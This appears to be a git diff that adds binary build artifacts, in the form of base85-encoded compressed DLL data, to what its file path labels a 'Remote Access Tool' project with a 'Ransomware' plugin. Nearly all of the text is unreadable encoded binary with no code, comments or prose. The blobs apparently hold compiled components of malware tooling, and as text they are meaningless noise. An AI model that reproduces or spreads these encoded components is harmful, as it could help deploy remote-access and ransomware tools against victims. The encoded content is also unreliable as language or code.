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 literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..1de34303e18a6ad3dc2586ac5021909e1e009b32 GIT binary patch literal 31377 zcmZs=cT^Kw_^*G?LFFhS(nJa6Nbg7s9aNv!+E>;5s%y!&}Sdy_?0_DnJ@nWV1_3>S{B)`o3_xu1qTrRNrT z`f8lyUF@hZ$-7ac+SA0_UqV=(ef#HOW;M%yAy&^Qsr`*;{M8NMupz&kSpHmjaUQYFey;uTaxpk} z4=cNKxm_pyv+-N2RlobY(9e7pE0)zYyTwW5J!f=ce3lChxb|QFUiIUX&yxj?r?j$( z@?TwdDGTPC*pJra>^`xkv6zeE4>P9-L9->5@~Vl{jj!7nq|9i(P1lq{|)RG#&@)tWISU$pn;@5eA?Pd#qc z(|)r)j#bX6Gj$H7HJ`dK;;c*;H=cxq2!*+(kr`aP+V6(*^7PqeamkLTXbsas<8!5kH8NrT!hTLs{(mPGV|Tai$C zlv;8XSa3+aq$gFihmzrITeJQ1_pJlS~~;Ss9D#tck>ukU?2{mEM8xOmkswd1=+2 z*YFwXWc|F|k6Nvs>oDKAdEOtG{b6QUY*(nF zX<}W?Ge2P*k_0KW+G8v7c}Z^NNW@UCIdHNxu9!zc4ZH80TQrTY z<`iby?9KI2Q>k7nj~P^aAjp_H;NY2tDphipfmo|paFiW^dVa%{p|W2DDGqN>2X2gM zkVPk@TaEND+IW57wRrBPPz6b1Tg;)l2=Yx3kFKXs)j{z3^DZ!!=^JHyd7`T*rJC#Q zLi^GFt*Zez>+j5hh zOJ${JsE12v!+8hp;h@q7FwgYE@3T2guem@;xMCaY6mVFzZUKS^T#C{qGSnd*6J=Ld zj#5CF!e;4)x1_S>*Z!~i_gMpXz>x9C|0}1ByPm&S7xRf4r4o)Hwaf(Y>WJg74Qc9!dGjOlZ z8ahw9I#I3?AhNpZw}^jTKpqMtATm^SEJ6`y+=aGs;%=g|j;hvFKYh!3__uP6 zYa%$>$~pr4xhh9n)>NEf2rYz@2t(N7jM3<7oW$3GH(_ALsg>6@FkfqV>&0p98H&6q z$%&Pw7X&?p>yW&*&pf7%??C zUD-ERZtI2I4x3X(7njPU1b!OKZQuyj zohuW_tgiY4q8vAkvrSpiOrGi78tH6#!R&oIyTJl9JJVnQO0IEzNRE=vU zxWZZ?+b`6);T-~ma%BaHJK{OO&Xc#i!n`jt-uNd+JS6Amv=Y|t;y+pO}lT{|La}T=(9KP(nVQ*!Oi)$ zq)${TR-ET&=I733aSh=Jf0U~r=y>-iX#R~nh{6H?H<$^74u#9)Bf_VBj6oE&yC1Grv5s1DtV%D9fK zzmx4`|E&lLevLPAk{Lj|w*XAVEhwJNO7nBAw~dt&sMz)@Yvn zsC3qWF5n);nQh?Yz}yfo&gTQd2(`-ts@y&Doc|>Sa&f?ugBLL9ba+bvqJH`W3BJUw z?CQ@Pyi8_+^DDPcFkRex=iQv%@Uh-g(8axe#{tg>UcjQ8;VnJ0Uh|{FO5tFsX&+0_ zPVMeHu-q%Wf>Xdcuxo7S`wvpgSO>k|*#|QnD4&(ZG^EF%c7;IM4tQ#?+zQdY>8A)- zZVJ5y-$`6$pxah8{+;a+0&g@ zgISq@=G`M_W!a7CmUX*ipmr$U2pohb%6oRo&rDY$F5t1RNTkQ_9Q}l~)Nqs~OVK0#mHM__-Co3RvmzecK$KUNrkaHmC?x@0}Z`Pn<#5?#6 z6s1kx+xibpIk5;9Cz@*AGK3Xatxos5QVCdXhHFCU5oiU+Wp5n|zEv$`3<{ko9#y&t zQm7MpkI2D2>{luP^ElzX$PjJ-%S%K2 zY+=j+DOCySfmmlA79e!tpC-``U}&B0#0vTmR&?^E7R)#0aiIA}?Yl76LG(kXPp_@{ zTwtCG{2+XtP&8r}_i#ih6HJ&+`GUA@5oR(b+Re1;3r$(O8ulX1^I9&Nj&oTt2R2+OHFeK`5Z!We$sX{nRAe+VY;IK=|{o zSr)y4ng5as`e<%F@;7sUxOR8I{Bc0r^lO~NC&d3;e|$h=dzS5>FgS5}oK>EdT zw7UamGt4se@9&BE4~Qe!sX9{k>IzfRQeQ=!B~AE4y+T4)oF^RL@M5+%pi>hP>K9A! zuTuECbtQ|^;LM2mP=kpM!c^BD(eVR6g>HLqT3)mya#IL#*e{a~GtYyWccM+5%51GO z!IRal!Y=6^3V$wkG+-?(x&;0LMQO{5o}KXVmvR~TK}>CtjjH#X-t<)7oRLrlP0tKY zB+PnLv~DL@7$47D_*(c2Np+a8vx(zhI~} zD=59LIs)PD+iW5Zx5LXgW%QsQIKf|ABf(#5T-(6I_V|CC%)g<*PH=1db0_olmc}zt zCvOfrbra__3ui%_(Yl2529;x1N)R0kZv_?@L$kx-Ys7-4pL$?{3A8PIYZQGCEHH&$ zfxmjl>su_TX@pCV9?bfZ1GUTA!9AqA+q6Y`_E)lOqXJR2{Oiagbgl1)wsG2k0y`(s z+Ob^318~JM(Xir;;sJ_M(W|y5Q^5fdw zw_v7M_-9Tsy=VoT&qqY~^=Bfxtyx^Q^x)J2#b=dj(KY5p2{WL~+*y^~3N=4^=FE^^ zvHP(N%^ENUajL5sD@1_7Oe;j|rl0@!wG=K>g5b;~8^s>bHRmE^`il-;Yw!AM!|;ya ztTD6*{P&0Y5ki>#jE@#*qD2NK9fk9WLnPPj#=E;VroCJ_YHbP>1PQ|M zw&0gzXkPfbzU2gYW%X_o_@zCb+^MAlosRRFkW3paWErT&IB|=#_P=E3KjLZ3q`qf5 zN9vWY`vvh2_zp_9SBcUk%2PoI#E#>7oo4_lfG0ZUeL}c7z3RCk^?sIgYMh}UofN8n;DZu-SB|AYTJ?Ku+;#(7GwY+OE4y6PMTvz7p{ z)(M3m;#wFBKuXm@rl7o;;xQ$1&||0f)Bpbe8(lzEb zXN7;|!~h4ipOby=Dr~eU?41<08$hJ=A-4P*h=~+qt&HF2N5;?$U;;{a1Z}=BJVCxc zEnxr(uMx5Y?axSPfWoU?8-Q!1$&0JP4;GPCD8Af!ix;I9FDwPD-fi3d?F|}JdXKo} zBwAG+TOZ}o$pU@=vlap=JK+BXM`O@&aE1azUX$FrXk9m3I&SrUaqM@0R11!A3jSR9 zpZyVrcK}EKBnr=0{lE6dX$dV*Pj$5(h-H~cV0_!Ms!W&| z&iMb^#~59-C&@W$$MO*zV68DUH$0;hp+EBx%G$4_0TKdhO`sj&85QJP9+#+>&nITQ zR0bMrL=If-e?{0s@fzUaakL3MV`%oU>9s6q%>mB<20K`jfIz6~ID{r{8e=Pvkp6YL zQ)VLT^90c`!ZTG}PGxunnl+GgWS-@e?NJywz9Ew=RB>V+*yrwh_y4$q_h~j1huh)< zoH9nxH*pPb5l*;iH2MRsAr=u;_rJHYTV6cnb>)x9gw@Iizqh>qu3rAb&&2rUbHy;M zJu<0P%=>j$|4dpki+H2izVHL3JLR9sE$*o=@-TWD7X}(XVE){Ox*zN!s(5uw>iB4z z%E&ZMC1z{>bwOrP+hnZeTEB6Fc#SutXqZgWFpX+se%_?R-Eb>#X)E*jp+!_B{$u>d z0LKX5`S{;^|BNlSymy{lEx6AmDpE}gAxTXe5D6P(nSJ(Bxu@wz*0|xW zPd%ZRV7^fxYo1!5%FBDB+*r&=AOcl!5XmIL8HklB(Z@$NDXbP$eFZ0X73Fk3j}dgm zfSgSV?2#*~mCFBRee!z|pQdvd3*RdgRH>AhV--wqbI>tt>6x$}n|roGh~m60V_G?~ zsb_gr)%rup&^>J=y(o-c#^B}n8vj8fb<0MSu1l8|YnxdBM3(c18bx4b+l_?Ss=UUxfns;bhtXP;wa#@^w|1sroyuwx!*RPel3E&Fw~h| zSkIJ`v(l+dqiQ9ESaD(gU|M78WA_8TjupG%d3yRH#V{H}(|mPZHVvMfx#7xQlgnb(m43HzNw#pxtou?T<(yzQR;&l6V%1p-p?rp9b#K<4zI8W+nh2(7Or@*$`;F$ z<@WXhzZTjR78Di~9BHX*3QDO8#LKmL_}@O@Cs0 zwiIln=?}9nw4?D2cvMq(cV=loCzS`Ha#nLIm@O5ORc1V9@%5N#`S4JUNE}en+%FhN z7!Ta=<+i=ureS$jEOvgpbA0&O$Vj1YaI^aD6x`15VgaKeW@EW}&(hRxh>LITWzCO^ z5T(!6YC~GuL)=p4FXc!>drPKX_stKtTv|~5exf#XxYDmaw71fa^o)L%1*c$Dz9-(3 zj8_M>bmG;K+M>K>(IqUi$(cs_S%nW?c%i?0_zU%(mf=(gk3O5kZ4MmmRK`(b%$TYB zs$%qb9U}z!EA4&Tq|od!eUP4f+u|6mn<^CH?jF#6C46FxE= z=j1DEz$&k@Z2dx@GZzzFyS=>cbnwygXh)DftjBo!>O!cCaXn!y&To5&5d&F<+{yfX zVJW@aXtA;P%}3^Z=}>=+xQ`~KsLu{Qd1=V}-5a!0+g@C>vWIDwZQS46dr;gH+LF)d z{A=yVwSJ(g>8JODwcgA4E${N>I_HfN=WUtoV876hYsa@-T;|dV7H+z$AunPA(tmjb zrpId5q>anXS=ZQFD#;n(iQ!%~0S-k*d^Ig*{DPH|f`SqQyv*K&3t=pAs8n0)m+yeG z&-h9+p0{@vxY*OAR;q z7bfU8_hrQ+osD+JO0`Qw3YBr5}`>W5&134-EH}|>}v?E zq6^7f*|VyRQN*R>^n{pb23}6CpX)a~`x--cWWRB1#lnPh2!)GBJIPVD7?Fo>LS*d2 z&t7Jyr46Ub=N5KQ34)pk1L2Exo zUIbNQtUrqpb|m}jwS|gS`!jAF%5G#U-Yl3|^sPv!blf|PKM)^a{^>Q~^Z~PH@?xrQ z>Iub9-s!zZp*s^dZT$u7FFawdgN>-oVlFO#Up)_Gnt3Q>CwdZga{A%j$ZwK?Ru}pu zU`tdMj2QVI)!^=E{C}si29ZdHEu(Yo zW$grc@x^qN%NO*bzYbn`^K7Q;*Sys`r}ixB43%VOGQ}A&N>(g3)MR=1pM5l^@LX=C zShmAW8OlN0y39Sd&y+L$=iAe1@y--op$tNbc|8W$vIPBzoV@vKy}| zncYiyl>aG+)y-ee?iaO*|LT`GUty$7cdZD`P6w8R#QLIkT`~CZFN)U59r(xk}@=Kc%Rqs#Z3p^ew5)O44%YE?4fd7 zV!443d0vW2&f?h&l;(EuomS%FBZJaggplV2x5n6tslS9xyw(YShA2?tV#d%!K1+Je zs6qD>5i0emB1DZFLQrWUBb@(J@Ogr%xSyp!D_{J}XMC^zhCUaapJaHDg1|5;yS$7J#b`MzKh>b`H^BygMF^yD7) z4}&NmI*Tm}Yjc>s7cUkPb)?UE4k_pF9zt|VT-J4q)!!_P9MEHUiY0b$8U!CKQM-QD zb07Q6F8oC==hnw(I!4J{hK~!Mmn#K!c0JY+x6XK6O+zp_kkl;;J-gq^z&0FS^JO)P zH%F@@PC4TI3pj@;vCDuFDSnOcAuW~1fj=_mEWB@0IWboYM6g!gzxaaA9ZBzYD2{qE z+}sT>ws&1%T~aCDme}L2e!#=5yiJ>K0WBP;#b~s%d*u=zFg&V*WB(EB#ofe);gIFv z;=C~kto5Fl%(Ie5lj1t0dBpph;>G??2sa^-W+g)oW>$xxXS4)1b z^c2)1n`0-Bb6Hj<`m5RI{AY$kz0<$4)uv3>o(=Ws5wsx8HxrwZu|9ROXz1G0f~?n` zdCDbp`BVq5c7oM5DYI9o>cn+-8$`QZ^zi0PBl`%YU;-n(_rV3FSOzO-7My>_uvAk5kp?mU*t)oFggNODE0zN-o?x0_P{B zM5^~2`3qurpYAuW^#vl8gZnZ|`rAPaV+x0(mEOPp8cxfAGJZ43K9Y;A4P#^OHM!c@ zZB5X-A~TBEw79fvP_sz0%3dZZS;x?j9qUG#BkKLm)uV61zK!sAyA)sjebB=}B^=5HKmhK$NCa;mom--`p zOYiCd8s4Ws;(qT(lYT%r(>D_e#?ef-<-g1OY_?p!({lcodQ}&0*mpaA>hzvXlE9%N zTW!@ag|>9;;V;#+M*XbK1?9c(`6L@fzurQ#U0ofQ{1wO(Lou4uN>ix;$-rs~RWvWHOt;_Kd~M)uIA%gBTFTTq>CLe( zHi>=Ll73_T(*miR_q35b;}pt%S?0ty_*D=EoZrIr=?I#{|K1dPiCQ-CFgqI=yv_e> zwIo}sBSv-iS?S>k zHVN^TJ=gy<-{~ylpRFMjh$}Dn;oXo9Vg45QczrL+?A{N)#lKsNT+rty#sN^In$XUk z%a4cW7Z+S76Z)4Kb8?bjM))k5N439S`5mJ62;ncZkBYVLq<368cZXIjvgnzM6-e9-`fN5v#u2{+SKIhKw<}Yi8U*8p_|ek++pYZ5K7{q#ONR?ur`08 z^5Y-m&fQ!``b)Hy1?-t4Yjz{I<9B*^gBXe$)H6nB{N$YyThPs8VkE&vexHwL$1{c3 z{2=X#FWC)4A%Wttis~l5X9X&#c*BtCrvjz}r9~=n1P_RIqSJrkPBw=DCXoiS#+p2B z9kj~Q#zTT_hNUogl91j-sMzoN-`XC$!#JXFKXxrBT#dN@QGtJdYHx9x*E6>rmt#P_ zpj7~UqK1tfEioWhA~H5~T-xt_S$LGPq?6tMHDBv69WDa38fG$bD=Hm{$g^qc*0mIG zq9d?G3I^h^2&G%_Ls;KL1(S#SH-?S8`LBCTwpnt1v4-NQMKMQJ1e2y7Y(kbbwn#ME zZyZ);717L{v|#J`(#oYo?lm^6E!}Tys;o_IhaVf0X|%XW(3}ZOiqy6J4NKG-`0{nU z`(ojZ?Pz5gl=?{bf#!xivQJ0axV-n`8IN~xbDL;&%-LxFWnr6~hj9IT>}3U#f@pVW zcd1+f&kb<5x#zo2{8|}#teP}Lxb!H18n>FrJzE~FwiuRXg2K=#m!+B)5#x%Ndl`b} zN>2BJ*7j;A%hvpp-Td}B z$(F~+;M`M1(RbJnsoZ))Hiy(iSK0}4$n!2;A$}WL{+Xxj9-_#7b-jGkZfF*qx4^S3 zI?1WP;}){AR(RgFPSx@;uXZUJX^L+0#EJ!mKNI@4IpgSgV8)m2=sSKm(3D z1^x4LU4@PP1tDC5 zlx)i|7eb)7>;&(fCbZngNbd6s4Vq z1Y(XJWJc*6+1V2t0uYkreRnC@t>VC2t%Tx0j#fN?Kw$VFa0S3cr|vl%w^JMl_9fFG zlIp6xE4lcupX&*V`Ng|`^v^pCbY4N_Q*P0v;3#r_-Yh&)aDcxn3B0E%@B}rI6MAP0 z${k38od|%m9nh3SbB&_N($sr^@S2`J5EIBWd2%kfYI*4JrT&^-@m zn!m;r0H`}A=%FmJ_~Hp}v-skT-+=D<&x3b)M>p$6bkF}eYpZQrpvlR9u5U?F@F4As zo~wBjQy+Uqmv;6*Pc^5+g_4|K^pHPy>_cH&w`d#CODUuUdJ`GX^%p7YzKmkLZ}4-A z9x|%(-q8$H9!~?bE)6dr6hU{0Grw7a#QAgfO)g~H>J5@<(;6+*#3iAYYTi-+D5RkB zX-wXjAW_-1;){oVSlx4>gNnQ(+k@(BBwd3-nb1cG^VRqh%>Cq?KNml)8Y}vRume?l^pp<74;hU%Vb*G zl*+yn;1|YbJvDle3f2CS9;t!i9M1&iP;Wd_MsbeeqoLZlYYfT^tu7OJDYVR`e zuQ)s2mqyAa^IRK8kBAa45p2@5yT8{A)0D4hCh(L}LMnz}Vj&QmwfLM8BHo+5RzEsU zReR^FUR~F+n_Rh|P-BL+nYxAm-RKcj!oW=r+lW3}(7dsg+l-R;=M-~+d{Tx+bCnoL zx5n5k&t*5t)}`JR7Qddjf$oDi*5s%SUS)yg(M85a^XKP{IL_%K^%JX~sY=!|u9QtIn*a&bp04})3INLSM&4tcyTDQW#6ASi~aA4QovjRuFDt2HGV76fM+99NlQUBoRE zW2&TTEnP~otdb1d-c=ORnUD);#}PCk%6*#_3XEl1u~W@qa#O9nUtt?&kXf5q)PcJF zWJpC`zHq{!C&4mtXYfp_UqHmfQu|^+V{%GgHMQ^T7QLxmP1`%AG{p#BQL1C zL331=7l0$F($>%gHv@mtz#qj&TDUa;XT!S0%mZW|Zk|p4izlQxy(uXjx|6%GQiyBj zs-H9P7boWu$1Z5vt{ly2_0K;&9(@9-b<@wkla$W3U9gb}Z9SKhYMf)+y`QP;9PjgS zm|t8~MuYBiIvZ1A<_brI@;c5fp^MeStWh;LX`5SIwQigh&=9}UIkqt+L8*9$gzQUA zsu;a+)(GVdcV()WvHEB>raa4rBf(|+_dR`Ly$}K4N*S%bGQYdis|yOP#-u=gNda0@P z(hj@U7A`1&)5(M`Do=*TOJbMb9);GacwnW&G(Ef!ibpxPBG z?&zOOCz`*81}FO&rr;I}G63P9XbFfIH69J(j;`&8lGaQmqZHh1NyT@}!m|lp4I-n# zbs(FCw(#iK(eZ-?5x*z0Lh8YQY`s3$ef?e*LgA=Tl(u~t>x_J&8u0wsAcajXXYx)$ zSJ6QtYlQX&yE0YwSb8*@T;4IGYJgU@bo@z1nJnN1Bdhq6_`UEHwzmB7$6iFE{_KJFTs4UIpL5#drla77_QGxj4dUWh&EvwOo%NGz zmNE56 z@WMqBdKDq}11k8a>RnJ_V3{*hEDQFy4BStbjV2dMjZ2Zj*eET<=5UBSzQ+s|rd}!rN_EkDVyPxe zUDxG{@U%g5s|%fkRCPEbRM3WQ)Q8Wle8|Xrl-91+S*S z{0r5BzJlh5rjBkK0!oHy=1oz%NgT;cR;GXsPtkXDQ>7&1(G=je0&?A)5Q8-H04vP` z3nIn4jD{>0G*6C;dTPBd;)Y@fOW@=+5=;~fD%(uGD&$Mpv z!PRkTNG;)2*!ml`l*e-3Y$@Epo1DTO)Ak#yaURtV9%)VeHk~ zC8CqgG&bm9CbIE{>VLb^Bk5{O3vj)Jj`y+^ZA_9$mv$nM$F{l2P?8C9_ogL!P!b zY(fUVf2ic@{ayv&Q#vFC;%G8T_XKO?1B9^e0S5WKT{uG8u%Z^KJ4|@cI9#eI#vA;b zY3dE7ogodga%Xoww02nOqi-hEX6|2CucA@}k}}39y{sp~9;rEr??PfZHg}gYp$UgR zyRN9dCanNNrj*RLyJxmVtw}T~6HEfr;#jcH%DxVa{H@;|0GaB&K2w_7I)8CoGKMq@ z>*q_o!&a_iY_IAW%2d>{ zz*ilGP2TgX?Yby~^ex**DVt<2h%1)1SD7Y?ac=*&D~z-?30FNldLyz!8b#4uyd#ZW zY6w+a{a0k?kmbquLH|}RhS#fs6%S>;51yL~S-np^_O;pqy8B&;ly(agw4{h9`$5Gi z@<2Oh=_8=lqO6rue6t0$9==|^c;ea*WWytB0VQvqAr7Q|F2z%NQNc)==<1(}*5X9p zWEzNn8U^nBU(`uKUG8g30uTglI=L1+Fl{<5z}u{e_Y{F-islXX57pv$RVQG8ug#NV(BAR zPojM{KdrK7sXIRULAp{JTQu$LA123$s`AlIeY$3Sw5Y0RWV3P_8+|t`t0on1SHd5X zMYBOZiZiG(aN-yN$hoss>-`>z>r&gTWsNZWPH!7;%pR{ag9_%{!C+aEu$6mS7W_3P z7V>ZG=XP`DkD zmR4nu?6>iXcVMs;He=QL!`wU#J6QLbE=MiOYJe+Y#w!VsZ>^7gC3yS;QtVGUGo98g<$lfYeKFUVAZ-#DrZRI44R*1NMF-j6jv6Duv&Ad zeGZP?G|o(_N(V>G8e7DUnw9#S@DCIhxGVA^@gk)KetvbsTip#qOVrACW?fU!gI_-~ zGp0Jxo@C3e41SG#PoFSz`rXJ{SlZGCn=&YHKMQBo>^Is``nIDYJ5 zSxt?fIw}eabF;M&+_uI(Hkv$K8mrQ}JZu1U^<)y}8`2dQh3uHN?|-l!l$m?XgHG{n z(Es$%diAH4t~7eE(^<&&Q)>A9(vRy9RX9Ru|4p)l6`-2C_O8_f&QE}b7n=$aZ#05t~xkU?rP|2)N524I6R_?i+yWvbpW4)n0`dDdZofzRRB z$>-)WlNA@c<4)V0-L%%8C`+^~H`A8EVz(@Rn=9tB?1)48)&0x?)-oi;hKOmjDX81KJm9GsY0%d30 z%A-{##=B`qX}gk)TobF#GK?^nt&Auy!!-Zgw36mMbUtZnh{p!*`MG=qnaJ`~9)~p~ zV0&i#&0Qi%jW1#um0coxV4joQ2cLbA`kA0(qumkHgx}5IMTXg~D%OPnW~ngS#|LYl z^rSA&D!$23ZL_#bZy&#NAB)%6V`PyTW?OvBfe`6y7qt7sdyMw+S5NtX2tW`(oie6t ziXv)ZM#n_uB@GCn?Lq|(yfgF{#^zmW7oum?4OSV$ildxMlfd`*i->9I;rxR}pMkjX zwIvc|wev2yYaB->w%u=+(mQ+Jg%IZs*7yzFP%Cs8_wB!4o`)?cGGW@X1u% z2UPJeMxe~rv(Rh6)WRNGUsfok-#j2yJB-<`0Z*mk<|h?_UOnnse64WDFxk(q7RwF; zzwI>lKs_=9n10X!|YdXs$bPOQp}r76gaP$cTF?=A5L6*Gk1V~#$+P7$hAU(@@zj>*knb{2;({#t+7l7|!B6jMey zPWnefC(5-Mu!Uxe5~V{`K^_L_ug6~KJB1}Z88b+CJmpA(ijxKTM1$ z^lJBnrRq^H;-k60c;0H2)%S}0D;zb$w8ukpR4&}s=E(wfpHXap)wegv8PaW6C(LoREvq^Y`@SFqKYbr9s_OM1P9Zq%E z3~hqoc}Y+Hq{ zllx^VK~@j#TZf^o8dfcbOh|PbDtx&%W8kF8qQqHQZIIh1+Yt7`lxmGCDiaGHd3~)q zzZzUp9E%|{BxnZQN9ZY4`>I(JY0}+y{I+lMK1A-6>B$VenBqwD7w*Xh0m2V0Lqe)m zd8XB5m&axux1FX&Jy=T!W)La?R(HYb497~p{--DMG><=GMu#8Xz8aAT{|@`?dwPQxXG zgf0eNq&|6Mx;0iqOm(o9P?*NHY9a#g9*R(OP5NtNrViArX1v#?7TCR18SFB_ST@%b zlxwN#(wohY5{`(@az=ekDzY*p5PD!-4=nehtQnZhGTCW5+#fSUuoTj?ymE zl-uS%5N4X5F*g_~@MKK3LTM8Uk=yAguUUyy zKi}_N(ivh^ZPOD%5KrSR_kz?9Y?jx^*&e=aS>V}pDHBL?LY8M6Td>YT%qBf#gC(=@ zzWoa^MiJSO;$iV z#d98*A+&jP9je{Vbhg_UMLGeEiSnW%V3B#8^!(uJqe-)gA$Zp7z*ke@MVG0Qau7mE zaN(gW?_s{|z*$m~-*}d7_fS=m-}7uIPwRrLQF}ATvRfS6g@+IU}DVIADF(+-!KnG2&h>2KY78>OVC(P^Xvg+o#BgnxSYBSd5hgu zu+&00eqRlHxggVRd5f#)RV+?k*huL0+a)u}$eSdFNVDx`F0$cIch47LsO8I;)1$UM zyhxwmy8jGRcSK`F^wyBiHs5)0%+RV(0YSx5-m_cO^}p0ly?U}`48?vr7Y!6u+23nO zB$3`{*^=#7{n_}dtD|F5s6eEP4o!ArAXwY?B8+Y3qjDT@MPEzDdjt63N; zvpsN;eIfB_Za+K=eC6-_=tQ~J)Z-~k?*jH9q>cWUa%Ipfww9u@KArPWVeDo1ZQ#!? ztZoODj&$Bzzc_18{kEA}O7M>i-YNE$6(9eoK+hz%8e>_%$eiNp|Ncm2^2frX#2L@Y zrOP_kG~P>JbL4n`cc!_jtut7Qz`7i$ZmOz zNHX+i-o% zhE^X&p-pdjfYVZTh1amnug}QkR4t*>~sE1&I&8MpB)!#)O(CsnGQ(sNiE?iuo1cCNtQ z2O#1r$My_aEgzrKvszlOAR%q&zA2y6(uB$zHCN>_hn4SbtmOYo<*F>WRH~%E8%o`g z`op~HZ*w)m;%%vW=df=NXRgx12t&yX{Q|919zG+atWjgjVc(FGbw2!JUgD zK0^Go4`U?6d~VJw7hF^pg6YlNNEkWW`kOVkWB6t@VK0_CUEQg4a75K%hRKKq36PLo6`xSApQHj&yT5K?mW{rPq6Q6BN64E* z@2l$aYbDgiY82hdrtb4_{ADZQ5+Tu;=5OMN+Pf1``__~ z7$Y~f!{obTfAyK(QPcYJypP*}Pcl@Eog&w*&ySu@GCNE~saVfV$WT=v=jZ3M#qado zjUh_v6@{_Os-jAJHl<0Q#(nxk972};(%2d!3RRqQ9OGvl!U`@G6HPuFHIb?gSFNfs z*)R&2xbVkkxbVjfdLt+QQT6TiG2Dm*4gzqf?v{=x;0+7LPOP!Cco1;J=o@`9Lb*f$ zN0brDlByEANLdMWiMC|-_58gXKh=}X{{>n;z16hEc%6^+zjiZM!+ zp>5aNoAF5+jN0W%HCi$hcIiUeEJPdi)%A$020aWeT`tGabG;F z)H@S?i*bU6JkiV!Jv2 ziZs_9UnsiO43L64BHOJxLk-7PK#B;+j1A*1Oisn)S>xGmD?F1)f_;2Ru^1gA6=(frl`yw@rQP zC`fJVXpL#x)4eeJm^nsMgMvt4j*{}kX2}vv+BH#U8>NE__u3#) zE-@i#t6^8RG$CGvhSCe0qdC(z2QUjC%Qs)TW9XHoqUj8Yr85F0j-AHJhLZ{4G5w*2y@=Hsc3_U7GzO!DMg!ErZe^L?PLEP_o 